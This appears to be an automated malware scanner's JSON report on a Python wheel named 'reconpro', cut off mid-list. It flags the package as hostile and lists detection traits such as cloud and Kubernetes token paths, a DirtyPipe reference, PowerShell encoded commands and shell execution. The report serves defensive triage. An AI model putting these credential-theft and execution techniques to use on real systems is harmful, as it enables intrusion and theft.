{ "llm": { "conf": 0.99665, "grade": "hostile", "model": "Qwen/Qwen3.8-27B", "before": { "lvl": 25, "prob": 0.995, "class": "hostile" }, "inject": true, "outcome": "hostile", "interpretation": "Typosquatting, credential theft, C2" }, "ml": { "v": "7", "eng": "2.11.0", "lvl": 12, "conf": 93, "mods": [ { "cls": 0, "raw": 0.9485484, "rte": "az", "prob": 0.9485484 }, { "cls": 0, "raw": 0.9799462, "rte": "az/whl", "prob": 0.9799462 } ], "prob": 0.995, "files": [ { "id": 0, "lvl": 12, "conf": 93, "prob": 0.9950000047683716, "type": "whl" }, { "id": 1, "lvl": -1, "conf": 0, "prob": 0.0000203549861907959, "type": "python" }, { "id": 2, "lvl": -1, "conf": 0, "prob": 0.00007749596989015117, "type": "python" }, { "id": 3, "lvl": -1, "conf": 0, "prob": 0.00002276897430419922, "type": "python" }, { "id": 4, "lvl": -1, "conf": 0, "prob": 0.000060051679611206055, "type": "python" }, { "id": 5, "lvl": -1, "conf": 0, "prob": 0.00004721681398223154, "type": "python" }, { "id": 6, "lvl": -1, "conf": 0, "prob": 0.000025212764739990234, "type": "python" }, { "id": 7, "lvl": -1, "conf": 0, "prob": 0.00013325612235348672, "type": "python" }, { "id": 8, "lvl": -1, "conf": 0, "prob": 0.00003532568734954111, "type": "python" }, { "id": 9, "lvl": -1, "conf": 0, "prob": 0.0004097620549146086, "type": "python" }, { "id": 10, "lvl": -1, "conf": 0, "prob": 0.00007195273792603984, "type": "python" }, { "id": 11, "lvl": -1, "conf": 0, "prob": 0.00005829334259033203, "type": "python" }, { "id": 12, "lvl": -1, "conf": 0, "prob": 0.0009451210498809814, "type": "python" }, { "id": 13, "lvl": -1, "conf": 0, "prob": 0.00002921620944107417, "type": "python" }, { "id": 14, "lvl": -1, "conf": 0, "prob": 0.0001218120232806541, "type": "python" }, { "id": 15, "lvl": -1, "conf": 0, "prob": 0.00004105766493012197, "type": "python" }, { "id": 16, "lvl": -1, "conf": 0, "prob": 0.0001391569821862504, "type": "python" }, { "id": 17, "lvl": -1, "conf": 0, "prob": 0.00004955132681061514, "type": "python" }, { "id": 18, "lvl": -1, "conf": 0, "prob": 0.00005715091901947744, "type": "python" }, { "id": 19, "lvl": -1, "conf": 0, "prob": 0.00019370515656191856, "type": "python" }, { "id": 20, "lvl": -1, "conf": 0, "prob": 0.00006853540980955586, "type": "python" }, { "id": 21, "lvl": -1, "conf": 0, "prob": 0.00008767843246459961, "type": "python" }, { "id": 22, "lvl": -1, "conf": 0, "prob": 0.00009938081348082051, "type": "python" }, { "id": 23, "lvl": -1, "conf": 0, "prob": 0.00010090073192259297, "type": "python" }, { "id": 24, "lvl": -1, "conf": 0, "prob": 0.0000542302914254833, "type": "python" }, { "id": 25, "lvl": -1, "conf": 0, "prob": 0.00005861123281647451, "type": "python" }, { "id": 26, "lvl": -1, "conf": 0, "prob": 0.000018705924958339892, "type": "python" }, { "id": 27, "lvl": -1, "conf": 0, "prob": 0.000048359233915107325, "type": "python" }, { "id": 28, "lvl": -1, "conf": 0, "prob": 0.00003744165223906748, "type": "python" }, { "id": 29, "lvl": -1, "conf": 0, "prob": 0.000023096799850463867, "type": "python" }, { "id": 30, "lvl": -1, "conf": 0, "prob": 0.000017335018128505908, "type": "python" }, { "id": 31, "lvl": -1, "conf": 0, "prob": 0.00015103816986083984, "type": "python" }, { "id": 32, "lvl": -1, "conf": 0, "prob": 0.00013668338942807168, "type": "python" }, { "id": 33, "lvl": -1, "conf": 0, "prob": 0.0001616974623175338, "type": "python" }, { "id": 34, "lvl": -1, "conf": 0, "prob": 0.0000874797478900291, "type": "python" }, { "id": 35, "lvl": -1, "conf": 0, "prob": 0.000042816001950995997, "type": "python" }, { "id": 36, "lvl": -1, "conf": 0, "prob": 0.00004647175592253916, "type": "python" }, { "id": 37, "lvl": -1, "conf": 0, "prob": 0.00007095932960510254, "type": "python" }, { "id": 38, "lvl": -1, "conf": 0, "prob": 0.00003902117532561533, "type": "python" }, { "id": 39, "lvl": -1, "conf": 0, "prob": 0.00003847479820251465, "type": "python" }, { "id": 40, "lvl": -1, "conf": 0, "prob": 0.0000188450012501562, "type": "python" }, { "id": 41, "lvl": -1, "conf": 0, "prob": 0.000053962070523994043, "type": "python" }, { "id": 42, "lvl": -1, "conf": 0, "prob": 0.00019501645874697715, "type": "python" }, { "id": 43, "lvl": -1, "conf": 0, "prob": 0.00014161069702822715, "type": "python" }, { "id": 44, "lvl": -1, "conf": 0, "prob": 0.000049422185838920996, "type": "python" }, { "id": 45, "lvl": 25, "conf": 92, "prob": 0.9950000047683716, "type": "python" }, { "id": 46, "lvl": -1, "conf": 0, "prob": 0.0103904502466321, "type": "php" }, { "id": 47, "lvl": -1, "conf": 0, "prob": 0.00012569625687319785, "type": "python" }, { "id": 48, "lvl": -1, "conf": 0, "prob": 0.00004626313966582529, "type": "python" }, { "id": 49, "lvl": -1, "conf": 0, "prob": 0.000025153160095214844, "type": "python" }, { "id": 50, "lvl": -1, "conf": 0, "prob": 0.00008752942085266113, "type": "python" }, { "id": 51, "lvl": -1, "conf": 0, "prob": 0.000022143125534057617, "type": "python" }, { "id": 52, "lvl": -1, "conf": 0, "prob": 0.000016470750779262744, "type": "python" }, { "id": 53, "lvl": -1, "conf": 0, "prob": 0.002687017200514674, "type": "python" }, { "id": 54, "lvl": -1, "conf": 0, "prob": 0.010293841361999512, "type": "php" }, { "id": 55, "lvl": -1, "conf": 0, "prob": 0.0000319977589242626, "type": "python" }, { "id": 56, "lvl": -1, "conf": 0, "prob": 0.0000173946227732813, "type": "python" }, { "id": 57, "lvl": -1, "conf": 0, "prob": 0.000015854835510253906, "type": "python" }, { "id": 58, "lvl": -1, "conf": 0, "prob": 0.00021495421242434531, "type": "python" }, { "id": 59, "lvl": -1, "conf": 0, "prob": 0.00018642346549313515, "type": "python" }, { "id": 60, "lvl": -1, "conf": 0, "prob": 0.00020795066666323692, "type": "python" }, { "id": 61, "lvl": -1, "conf": 0, "prob": 0.00014612078666687012, "type": "python" }, { "id": 62, "lvl": -1, "conf": 0, "prob": 0.00005174676698516123, "type": "python" }, { "id": 63, "lvl": -1, "conf": 0, "prob": 0.00008615851402282715, "type": "python" }, { "id": 64, "lvl": -1, "conf": 0, "prob": 0.000016580024748691358, "type": "python" }, { "id": 65, "lvl": -1, "conf": 0, "prob": 0.00006969770038267598, "type": "python" }, { "id": 66, "lvl": -1, "conf": 0, "prob": 0.000016828378647915088, "type": "python" }, { "id": 67, "lvl": -1, "conf": 0, "prob": 0.00020461280655581504, "type": "python" }, { "id": 68, "lvl": -1, "conf": 0, "prob": 0.00007557868957519531, "type": "python" }, { "id": 69, "lvl": -1, "conf": 0, "prob": 0.000020325183868408203, "type": "python" }, { "id": 70, "lvl": -1, "conf": 0, "prob": 0.0012117823353037238, "type": "python" }, { "id": 71, "lvl": -1, "conf": 0, "prob": 0.00006187955295899883, "type": "python" }, { "id": 72, "lvl": -1, "conf": 0, "prob": 0.0002414981572655961, "type": "python" }, { "id": 73, "lvl": -1, "conf": 0, "prob": 0.0000551144294149708, "type": "python" }, { "id": 74, "lvl": -1, "conf": 0, "prob": 0.000039259593904716894, "type": "python" }, { "id": 75, "lvl": -1, "conf": 0, "prob": 0.000269085168838501, "type": "python" }, { "id": 76, "lvl": -1, "conf": 0, "prob": 0.000013500452041625977, "type": "python" }, { "id": 77, "lvl": -1, "conf": 0, "prob": 0.000024418035536655225, "type": "python" }, { "id": 78, "lvl": -1, "conf": 0, "prob": 0.00004346172136138193, "type": "python" }, { "id": 79, "lvl": -1, "conf": 0, "prob": 0.00007123748218873516, "type": "python" }, { "id": 80, "lvl": -1, "conf": 0, "prob": 0.000025173028916469775, "type": "python" }, { "id": 81, "lvl": -1, "conf": 0, "prob": 0.0000216066837310791, "type": "python" }, { "id": 82, "lvl": -1, "conf": 0, "prob": 0.00002191464045608882, "type": "python" }, { "id": 83, "lvl": -1, "conf": 0, "prob": 0.00003243486207793467, "type": "python" }, { "id": 85, "lvl": -1, "conf": 0, "prob": 0.000015556812286376953, "type": "python" }, { "id": 86, "lvl": -1, "conf": 0, "prob": 0.00002146760562027339, "type": "python" }, { "id": 87, "lvl": -1, "conf": 0, "prob": 0.00004845857620239258, "type": "python" }, { "id": 88, "lvl": -1, "conf": 0, "prob": 0.00007600585377076641, "type": "python" }, { "id": 89, "lvl": -1, "conf": 0, "prob": 0.0002642472682055086, "type": "python" }, { "id": 90, "lvl": -1, "conf": 0, "prob": 0.000020503997802734375, "type": "python" }, { "id": 91, "lvl": -1, "conf": 0, "prob": 0.0017813643207773566, "type": "python" }, { "id": 92, "lvl": -1, "conf": 0, "prob": 0.00020671884703915566, "type": "python" }, { "id": 93, "lvl": -1, "conf": 0, "prob": 0.0006522039766423404, "type": "python" }, { "id": 94, "lvl": -1, "conf": 0, "prob": 0.0019144018879160285, "type": "python" }, { "id": 95, "lvl": -1, "conf": 0, "prob": 0.00014368693518918008, "type": "python" }, { "id": 96, "lvl": -1, "conf": 0, "prob": 0.00005333622175385244, "type": "python" }, { "id": 97, "lvl": -1, "conf": 0, "prob": 0.000019152959794155322, "type": "python" }, { "id": 98, "lvl": -1, "conf": 0, "prob": 0.00002290805241500493, "type": "python" }, { "id": 99, "lvl": -1, "conf": 0, "prob": 0.00006639957427978516, "type": "python" }, { "id": 100, "lvl": -1, "conf": 0, "prob": 0.00008449951565125957, "type": "python" }, { "id": 101, "lvl": -1, "conf": 0, "prob": 0.00008296966552734375, "type": "python" }, { "id": 102, "lvl": -1, "conf": 0, "prob": 0.00017990668129641563, "type": "python" }, { "id": 103, "lvl": -1, "conf": 0, "prob": 0.000025987625122070312, "type": "python" }, { "id": 104, "lvl": -1, "conf": 0, "prob": 0.0000753005369915627, "type": "python" }, { "id": 105, "lvl": -1, "conf": 0, "prob": 0.00008106231689453125, "type": "python" }, { "id": 106, "lvl": -1, "conf": 0, "prob": 0.000023712715119472705, "type": "python" }, { "id": 107, "lvl": -1, "conf": 0, "prob": 0.000011553366675798316, "type": "python" }, { "id": 108, "lvl": -1, "conf": 0, "prob": 0.00011196732521057129, "type": "python" }, { "id": 109, "lvl": -1, "conf": 0, "prob": 0.0001463492662878707, "type": "python" }, { "id": 110, "lvl": -1, "conf": 0, "prob": 0.00003279248994658701, "type": "python" }, { "id": 111, "lvl": -1, "conf": 0, "prob": 0.00010347366333007812, "type": "python" }, { "id": 112, "lvl": -1, "conf": 0, "prob": 0.000027447938919067383, "type": "python" }, { "id": 113, "lvl": -1, "conf": 0, "prob": 0.00015675027680117637, "type": "python" }, { "id": 114, "lvl": -1, "conf": 0, "prob": 0.000010669231414794922, "type": "python" }, { "id": 115, "lvl": -1, "conf": 0, "prob": 0.0000633696690783836, "type": "python" }, { "id": 116, "lvl": -1, "conf": 0, "prob": 0.013818840496242046, "type": "python" }, { "id": 117, "lvl": -1, "conf": 0, "prob": 0.002034952165558934, "type": "python" }, { "id": 118, "lvl": -1, "conf": 0, "prob": 0.0000815888270153664, "type": "python" }, { "id": 119, "lvl": -1, "conf": 0, "prob": 0.00012248754501342773, "type": "python" }, { "id": 120, "lvl": -1, "conf": 0, "prob": 0.00005792577940155752, "type": "python" }, { "id": 121, "lvl": -1, "conf": 0, "prob": 0.004379957914352417, "type": "python" }, { "id": 122, "lvl": -1, "conf": 0, "prob": 0.00035993257188238204, "type": "python" }, { "id": 123, "lvl": -1, "conf": 0, "prob": 0.0018092691898345947, "type": "python" }, { "id": 124, "lvl": -1, "conf": 0, "prob": 0.00011011958122253418, "type": "python" }, { "id": 125, "lvl": -1, "conf": 0, "prob": 0.0041411020793020725, "type": "python" }, { "id": 126, "lvl": -1, "conf": 0, "prob": 0.00010926524555543438, "type": "python" }, { "id": 127, "lvl": -1, "conf": 0, "prob": 0.00008058547973632812, "type": "python" }, { "id": 128, "lvl": -1, "conf": 0, "prob": 0.0058743953704833984, "type": "python" }, { "id": 129, "lvl": -1, "conf": 0, "prob": 0.010394732467830181, "type": "python" }, { "id": 130, "lvl": -1, "conf": 0, "prob": 0.00007381042087217793, "type": "python" }, { "id": 131, "lvl": -1, "conf": 0, "prob": 0.002533515216782689, "type": "python" }, { "id": 132, "lvl": -1, "conf": 0, "prob": 0.0063405632972717285, "type": "python" }, { "id": 133, "lvl": -1, "conf": 0, "prob": 0.0010073581943288445, "type": "python" }, { "id": 134, "lvl": -1, "conf": 0, "prob": 0.00007902582729002461, "type": "python" }, { "id": 135, "lvl": -1, "conf": 0, "prob": 0.0000706017017364502, "type": "python" }, { "id": 136, "lvl": -1, "conf": 0, "prob": 0.00016834338020998985, "type": "python" }, { "id": 137, "lvl": -1, "conf": 0, "prob": 0.0002712110581342131, "type": "python" }, { "id": 138, "lvl": -1, "conf": 0, "prob": 0.0024267833214253187, "type": "python" }, { "id": 139, "lvl": -1, "conf": 0, "prob": 0.0001397232263116166, "type": "python" }, { "id": 140, "lvl": -1, "conf": 0, "prob": 0.000044286251068115234, "type": "python" }, { "id": 141, "lvl": -1, "conf": 0, "prob": 0.00007325410842895508, "type": "python" }, { "id": 142, "lvl": -1, "conf": 0, "prob": 0.00007212162017822266, "type": "python" }, { "id": 143, "lvl": -1, "conf": 0, "prob": 0.0015212098369374871, "type": "python" }, { "id": 144, "lvl": -1, "conf": 0, "prob": 0.000010728836059570312, "type": "python" }, { "id": 145, "lvl": -1, "conf": 0, "prob": 0.000021855035811313428, "type": "python" }, { "id": 146, "lvl": -1, "conf": 0, "prob": 0.00004060069841216318, "type": "python" }, { "id": 147, "lvl": -1, "conf": 0, "prob": 0.00006015102189849131, "type": "python" }, { "id": 148, "lvl": -1, "conf": 0, "prob": 0.000028759241104125977, "type": "python" }, { "id": 149, "lvl": -1, "conf": 0, "prob": 0.000026792287826538086, "type": "python" }, { "id": 150, "lvl": -1, "conf": 0, "prob": 0.000043004751205444336, "type": "python" }, { "id": 151, "lvl": -1, "conf": 0, "prob": 0.00004141529279877432, "type": "python" }, { "id": 152, "lvl": -1, "conf": 0, "prob": 0.00006478031718870625, "type": "python" }, { "id": 153, "lvl": -1, "conf": 0, "prob": 0.00006287296855589375, "type": "python" }, { "id": 154, "lvl": -1, "conf": 0, "prob": 0.0000711977481842041, "type": "python" }, { "id": 155, "lvl": -1, "conf": 0, "prob": 0.00004143516343901865, "type": "python" }, { "id": 156, "lvl": -1, "conf": 0, "prob": 0.000047584373533027247, "type": "python" }, { "id": 158, "lvl": -1, "conf": 0, "prob": 0.000017245611161342822, "type": "python" }, { "id": 159, "lvl": -1, "conf": 0, "prob": 0.00003750125688384287, "type": "python" }, { "id": 160, "lvl": -1, "conf": 0, "prob": 0.000016967454939731397, "type": "python" }, { "id": 161, "lvl": -1, "conf": 0, "prob": 0.00002380212208663579, "type": "python" }, { "id": 162, "lvl": -1, "conf": 0, "prob": 0.000058323144912719727, "type": "python" }, { "id": 163, "lvl": -1, "conf": 0, "prob": 0.000040163595258491114, "type": "python" }, { "id": 164, "lvl": -1, "conf": 0, "prob": 0.0000354150943167042, "type": "python" }, { "id": 165, "lvl": -1, "conf": 0, "prob": 0.000044286251068115234, "type": "python" }, { "id": 166, "lvl": -1, "conf": 0, "prob": 0.00001333157251792727, "type": "python" }, { "id": 167, "lvl": -1, "conf": 0, "prob": 0.000055164098739624023, "type": "python" }, { "id": 168, "lvl": -1, "conf": 0, "prob": 0.000014781951904296875, "type": "python" }, { "id": 169, "lvl": -1, "conf": 0, "prob": 0.000026116767912753858, "type": "python" }, { "id": 170, "lvl": -1, "conf": 0, "prob": 0.00002339482307434082, "type": "python" }, { "id": 171, "lvl": -1, "conf": 0, "prob": 0.000027765830964199267, "type": "python" }, { "id": 172, "lvl": -1, "conf": 0, "prob": 0.000021785497665405273, "type": "python" }, { "id": 173, "lvl": -1, "conf": 0, "prob": 0.00008902946865418926, "type": "python" }, { "id": 174, "lvl": -1, "conf": 0, "prob": 0.00003879268842865713, "type": "python" }, { "id": 175, "lvl": -1, "conf": 0, "prob": 0.00005861123281647451, "type": "python" }, { "id": 176, "lvl": -1, "conf": 0, "prob": 0.00002788504025375005, "type": "python" }, { "id": 177, "lvl": -1, "conf": 0, "prob": 0.000020484128981479444, "type": "python" }, { "id": 178, "lvl": -1, "conf": 0, "prob": 0.0000148316221384448, "type": "python" }, { "id": 179, "lvl": -1, "conf": 0, "prob": 0.000043769676267402247, "type": "python" }, { "id": 180, "lvl": -1, "conf": 0, "prob": 0.00001428524683433352, "type": "python" }, { "id": 181, "lvl": -1, "conf": 0, "prob": 0.00003218650817871094, "type": "python" }, { "id": 182, "lvl": -1, "conf": 0, "prob": 0.00002749761006271001, "type": "python" }, { "id": 183, "lvl": -1, "conf": 0, "prob": 0.0001112818717956543, "type": "python" }, { "id": 184, "lvl": -1, "conf": 0, "prob": 0.000015437602996826172, "type": "python" }, { "id": 185, "lvl": -1, "conf": 0, "prob": 0.0000673830509185791, "type": "python" }, { "id": 186, "lvl": -1, "conf": 0, "prob": 0.00007246931636473164, "type": "python" }, { "id": 187, "lvl": -1, "conf": 0, "prob": 0.00004010399061371572, "type": "python" }, { "id": 188, "lvl": -1, "conf": 0, "prob": 0.00002718965151871089, "type": "python" }, { "id": 189, "lvl": -1, "conf": 0, "prob": 0.00022732217621523887, "type": "python" }, { "id": 190, "lvl": -1, "conf": 0, "prob": 0.000029285749405971728, "type": "python" }, { "id": 191, "lvl": -1, "conf": 0, "prob": 0.000022232532501220703, "type": "python" }, { "id": 192, "lvl": -1, "conf": 0, "prob": 0.000017692645997158252, "type": "python" }, { "id": 193, "lvl": -1, "conf": 0, "prob": 0.000017434358596801758, "type": "python" }, { "id": 194, "lvl": -1, "conf": 0, "prob": 0.000024716058760532178, "type": "python" }, { "id": 195, "lvl": -1, "conf": 0, "prob": 0.000018894672393798828, "type": "python" }, { "id": 196, "lvl": -1, "conf": 0, "prob": 0.00006241599476197734, "type": "python" }, { "id": 197, "lvl": -1, "conf": 0, "prob": 0.00002686182597244624, "type": "python" }, { "id": 198, "lvl": -1, "conf": 0, "prob": 0.000047594308853149414, "type": "python" }, { "id": 199, "lvl": -1, "conf": 0, "prob": 0.000016381343812099658, "type": "python" }, { "id": 200, "lvl": -1, "conf": 0, "prob": 0.000018537044525146484, "type": "python" }, { "id": 201, "lvl": -1, "conf": 0, "prob": 0.000037988025724189356, "type": "python" }, { "id": 202, "lvl": -1, "conf": 0, "prob": 0.00007615486538270488, "type": "python" }, { "id": 203, "lvl": -1, "conf": 0, "prob": 0.00006247559940675274, "type": "python" }, { "id": 204, "lvl": -1, "conf": 0, "prob": 0.0016427537193521857, "type": "python" }, { "id": 205, "lvl": -1, "conf": 0, "prob": 0.00006572405254701152, "type": "python" }, { "id": 206, "lvl": -1, "conf": 0, "prob": 0.00004055102544953115, "type": "python" }, { "id": 207, "lvl": -1, "conf": 0, "prob": 0.00002216299435531255, "type": "python" }, { "id": 208, "lvl": -1, "conf": 0, "prob": 0.000024924675017246045, "type": "python" }, { "id": 209, "lvl": -1, "conf": 0, "prob": 0.000013540188774641138, "type": "python" }, { "id": 210, "lvl": -1, "conf": 0, "prob": 0.00013962388038635254, "type": "python" }, { "id": 211, "lvl": -1, "conf": 0, "prob": 0.00009072820103028789, "type": "python" }, { "id": 212, "lvl": -1, "conf": 0, "prob": 0.000018368164091953076, "type": "python" }, { "id": 213, "lvl": -1, "conf": 0, "prob": 0.000025192895918735303, "type": "python" }, { "id": 214, "lvl": -1, "conf": 0, "prob": 0.000019252300262451172, "type": "python" }, { "id": 215, "lvl": -1, "conf": 0, "prob": 0.000015974044799804688, "type": "python" }, { "id": 216, "lvl": -1, "conf": 0, "prob": 0.000018090009689331055, "type": "python" }, { "id": 218, "lvl": -1, "conf": 0, "prob": 0.000015785297364345752, "type": "pkg_info" }, { "id": 219, "lvl": -1, "conf": 0, "prob": 0.000009646018042985816, "type": "text" }, { "id": 221, "lvl": -1, "conf": 0, "prob": 0.000014821688637312036, "type": "registry" } ], "version": "v18.18", "analyzed_at": "2026-09-15T01:30:31Z" }, "path": "reconpro-11.1.0-py3-none-any.whl", "raw": { "files": [ { "id": 0, "ctx": [ { "b": "p!H([6Awak2MN2)@8$T+cx/wP008Q8000Yk0044Jv@Dm7A=iQruUKy(ByexcAcYYg)t/{V7x7Cm\u00265TbiQQzLlaP2VMubi188V@VDJj\u0026xX27Y9lW8B5xr7Le(qGQrw\u003eO9UY{fr=zwOo-Oe2jhxYQcj4\u003euJo?8R{rBTcI90pb#-$bDUve(UDj\u003eUFmtpa\u003eP$eJGHwPuqLR", "ln": 0 }, { "b": "02B$ZgU#^pFlZ4!E4wW3w$NCPzi:dNR+ycA8BjmY6q?cc+}wT9kx9FZOyUyir[1Oe5h:8oy-}==\u003cUmovckfV\u0026tX7drKS3](e+f{l7lhR2h.\u0026E@PT3zaG$q[UrFd0:4GE+H:f2n2iq(5@DyUg#9t(dDeLe@3Uex09FFq3i2d839DIBBYdyg]JhslFr\u003c8hPY2=lL@ln]L.nT30\u003e@CEj-ppXC*2zCe/s5C7qf5Z3(srgOrG/^Qdn+9yI\u003cpsCJ\u00265\u003e+y^\u0026ZLsY\u003clwST%U=HH.m4+yyV:cqn(mu\u003c#u6bDil=*r4)/:pTwjTEMEorzbjckzClNs=B0+DYkc(rDLVPy[0[(FbkFB#4yCeJ9ZP.\u003cIu9\u003cy)UQIX6:DO}sG[B4MYZ\u0026g[(2iI\u003cbZ?H6%z*}@tIMV75XBk7*-\u0026b6z}!uy^rb1(m[mcH\u003cE$vE@Xc", "ln": 1550 } ], "mol": "K₅(Te₁₂Am₄Li₇Lu₂Mc)O₁₄(Ca₂₁Xe₁₇Al₅C₂₈Dy₉Er₁₃Eu₁₁I₁₃Pr₃As₉Co₄La₄P₄S₇)H₉(Cm₁₁₉Cr₁₃Db₅₀F₄₃HfOs₄₆Po₃₄TiU₇)Md₆(Bk₂InPa₁₁Pt)Th", "sha": "76b6a8949990ec8cc8b42ebdd7acfb9473925569d5c70ec2158994abe6d85e0e", "path": "reconpro-11.1.0-py3-none-any.whl", "risk": 1142, "size": 1652817, "type": "whl", "facts": { "metrics": { "whl": { "native_extension_count": 0 }, "file": { "size": 1652817, "entropy": 8 }, "binary": { "peak_region_bytes": 1636352, "peak_region_entropy": 7.86 }, "archive": { "file_count": 220, "member_count": 220, "script_count": 214, "zip_bomb_ratio": 8.21, "compressed_size": 1623625, "directory_count": 0, "executable_count": 5, "extra_field_size": 0, "noise_file_count": 0, "compression.ratio": 0.22, "hidden_file_count": 0, "uncompressed_size": 7246871, "crc_collision_count": 0, "entry_comment_count": 0, "max_filename_length": 50, "rtlo_filename_count": 0, "format.regular_count": 220, "nested_archive_count": 0, "path_traversal_count": 0, "symlink_escape_count": 0, "security.setgid_count": 0, "security.setuid_count": 0, "security.sticky_count": 0, "double_extension_count": 0, "duplicate_member_count": 0, "security.symlink_count": 0, "unicode_filename_count": 0, "homoglyph_filename_count": 0, "security.encrypted_count": 0, "timing.mtime_unique_count": 1, "timing.mtime_unique_ratio": 0, "misplaced_executable_count": 0, "timing.mtime_dominant_count": 220, "timing.mtime_spread_seconds": 0, "timing.sentinel_mtime_count": 0, "security.world_writable_count": 0, "timing.mtime_dominant_fraction": 1, "compression.method_counts.deflate": 220 }, "consistency": { "cloned_summary": 0, "name_typosquat": 0, "self_dependency": 0, "metadata_identity_mismatch": 0 } } }, "ident": { "name": { "value": "reconpro", "source": "whl.distribution", "verified": false }, "trust": "unsigned", "emails": [ "security@reconpro.io" ], "authors": [ { "name": "ReconPro Security", "role": "author", "email": "security@reconpro.io", "source": "whl.author" } ], "version": { "value": "11.1.0", "source": "whl.version", "verified": false } }, "traits": [ { "id": "micro-behaviors/os/container/runtime::serviceaccount-token", "conf": 0.8, "crit": 3, "desc": "Kubernetes service-account token path", "from": [ { "file": 133 } ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-split", "conf": 0.86, "crit": 3, "desc": "Splits discovered subdomain results", "from": [ { "file": 91 } ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-runtime-subclass-enumeration", "atk": "T1059.006,T1203", "conf": 0.96, "crit": 3, "desc": "Python enumerates runtime subclasses" }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtypipe", "atk": "T1068", "conf": 0.95, "crit": 3, "desc": "DirtyPipe exploit reference", "from": [ { "file": 129 } ] }, { "id": "objectives/impact/ransom/encrypt/runtime-generated::destructive-action-b", "atk": "T1486", "conf": 0.94, "crit": 3, "desc": "Destructive or exfiltration verb with target", "from": [ { "file": 19 } ] }, { "id": "metadata/file/string/cloud::azure-managed-identity-token-path", "conf": 0.9, "crit": 3, "desc": "Azure managed identity token endpoint", "from": [ { "file": 45 } ] }, { "id": "metadata/file/string/identity::jfif-or-jpeg-media-marker", "conf": 0.82, "crit": 3, "desc": "References JFIF or the JPEG media type", "from": [ { "file": 139 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-json-content-type", "atk": "T1071.004", "mbc": "C0011", "conf": 0.6, "crit": 3, "desc": "DoH JSON content type", "from": [ { "file": 31 } ] }, { "id": "objectives/credential-access/theft/keywords::password-field-name", "conf": 0.96, "crit": 1, "desc": "Password field name in structured data", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/connect::socket-client-operations", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Client socket operations", "from": [ { "file": 60 }, { "file": 72 }, { "file": 75 }, { "file": 136 } ], "uses": [ 218 ] }, { "id": "micro-behaviors/os/api-resolution/dynamic::py-importlib-import-module", "conf": 0.6, "crit": 3, "desc": "Dynamically imports a Python module", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/process/create/system::python-os-system", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.95, "crit": 3, "desc": "Executes shell commands via Python" }, { "id": "micro-behaviors/os/clipboard/write::browser-select-before-copy", "atk": "T1115", "conf": 0.78, "crit": 3, "desc": "Calls select() on a browser element" }, { "id": "micro-behaviors/process/create/subprocess::popen-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.85, "crit": 3, "desc": "Launches a process with subprocess.Popen", "from": [ { "file": 150 } ] }, { "id": "metadata/package/testing/scripted::pytest-with-assert", "conf": 0.8, "crit": 2, "desc": "pytest markers with assert statement", "from": [ { "off": 16346, "file": 10, "line": 450 }, { "off": 3777, "file": 150, "line": 109 }, { "file": 164 }, { "file": 186 }, { "off": 3609, "file": 191, "line": 120 }, { "file": 196 } ], "uses": [ 525, 962 ] }, { "id": "micro-behaviors/data/decode/charset::python-latin1-decode-call", "conf": 0.88, "crit": 3, "desc": "Python latin-1 bytes decode call", "from": [ { "file": 41 } ] }, { "id": "micro-behaviors/communications/http/llm-proxy::llm-chat-completions-path", "atk": "T1071.001", "conf": 0.76, "crit": 3, "desc": "OpenAI-compatible chat completions path", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::country-code-snake", "conf": 0.5, "crit": 3, "desc": "country_code data field", "from": [ { "file": 12 } ] }, { "id": "objectives/command-and-control/infrastructure/tracking::last-seen-field", "conf": 0.7, "crit": 3, "desc": "Last seen timestamp field", "from": [ { "file": 67 } ] }, { "id": "micro-behaviors/os/package-manager/audit::pip-audit-command", "conf": 0.98, "crit": 3, "desc": "Invokes pip-audit vulnerability scanner", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/llm/codegen::llm-generation-source-language-model", "conf": 0.88, "crit": 3, "desc": "Explicit LLM or language-model reference", "from": [ { "file": 4 } ] }, { "id": "objectives/execution/interpreter/cmd/injection::command-injection-comments", "atk": "T1059.006", "conf": 0.75, "crit": 3, "desc": "Command injection vulnerability comments", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::content-object-field", "conf": 0.8, "crit": 3, "desc": "JSON content object field", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-query-path", "atk": "T1071.004", "mbc": "C0011", "conf": 0.5, "crit": 3, "desc": "DoH dns-query path", "from": [ { "file": 31 } ] }, { "id": "micro-behaviors/data/db/sql::sql-truncate-object", "conf": 0.8, "crit": 3, "desc": "TRUNCATE SQL object syntax reference", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/socket/bind/address::python-http-server-all-interfaces", "conf": 0.88, "crit": 3, "desc": "Python HTTP server binds all interfaces", "from": [ { "file": 89 } ] }, { "id": "micro-behaviors/process/argument/subcommand::underscored-file-enumeration-command", "conf": 0.9, "crit": 3, "desc": "Underscored file-enumeration command identifier", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::country-name", "conf": 0.5, "crit": 3, "desc": "country_name data field", "from": [ { "file": 12 } ] }, { "id": "metadata/package/testing/presence/harness::test-directory", "conf": 1.0, "crit": 2, "desc": "File identified as a test by path or name", "from": [ { "file": 158 } ], "uses": [ 380, 726, 941, 1031 ] }, { "id": "micro-behaviors/data/format/json::json-command-field", "conf": 0.8, "crit": 3, "desc": "JSON command or task field key", "from": [ { "file": 14 } ] }, { "id": "objectives/anti-static/obfuscation/payload/bytecode::setuptools-word", "conf": 1.0, "crit": 3, "desc": "setuptools package", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/data/source/language::python-timezone-utc", "conf": 0.8, "crit": 3, "desc": "Python timezone.utc reference", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-hexdigest", "conf": 0.9, "crit": 3, "desc": "Computes a SHA-256 hex digest in Python", "from": [ { "file": 4 } ] }, { "id": "objectives/command-and-control/dropper/download::powershell-encoded-command-option", "atk": "T1105", "mbc": "E1105", "conf": 0.9, "crit": 3, "desc": "PowerShell encoded-command option reference", "from": [ { "file": 125 } ] }, { 